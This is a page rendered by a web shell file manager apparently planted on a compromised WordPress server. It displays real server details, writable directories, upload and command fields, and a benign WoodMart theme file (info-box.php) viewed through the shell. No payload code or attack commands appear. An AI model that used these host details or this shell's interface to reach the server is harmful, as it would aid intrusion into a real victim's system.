403Webshell
Server IP : 62.60.133.156  /  Your IP : 216.73.217.51
Web Server : LiteSpeed
System : Linux linux24.centraldnserver.com 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User : mimradmin ( 1166)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, exec, popen, proc_open
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/mimradmin/www/wp-content/themes/11woodmart/header-elements/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/mimradmin/www/wp-content/themes/11woodmart/header-elements/info-box.php
<?php
woodmart_enqueue_inline_style( 'header-elements-base' );
$params['source'] = 'header';

if ( isset( $id ) ) {
	$params['wrapper_classes'] = ' whb-' . $id;
}

if ( 'gutenberg' === woodmart_get_current_page_builder() ) {
	woodmart_enqueue_inline_style( 'helpers-wpb-elem' );
}

foreach ( array( 'image', 'bg_image_box', 'bg_hover_image' ) as $key ) {
	if ( isset( $params[ $key ]['id'] ) ) {
		$params[ $key ] = $params[ $key ]['id'];
	}
}

if ( ! empty( $params['link']['url'] ) ) {
	$link_attrs = 'url:' . rawurlencode( $params['link']['url'] );

	if ( ! empty( $params['link']['blank'] ) ) {
		$link_attrs .= '|target:_blank';
	}

	$params['link'] = $link_attrs;
}

if ( ! empty( $params['link']['url'] ) ) {
	$link_attrs = 'url:' . rawurlencode( $params['link']['url'] );

	if ( ! empty( $params['link']['blank'] ) ) {
		$link_attrs .= '|target:_blank';
	}

	$params['link'] = $link_attrs;
}

// Remove value for control with css generators.
$params['bg_hover_color']           = '';
$params['icon_text_color']          = '';
$params['icon_bg_color']            = '';
$params['icon_bg_hover_color']      = '';
$params['icon_border_color']        = '';
$params['icon_border_hover_color']  = '';
$params['icon_text_color']          = '';
$params['subtitle_font_weight']     = '';
$params['subtitle_custom_bg_color'] = '';
$params['subtitle_custom_color']    = '';
$params['title_color']              = '';
$params['title_font_weight']        = '';
$params['custom_text_color']        = '';

echo woodmart_shortcode_info_box( $params, $params['content'] );

Youez - 2016 - github.com/yon3zu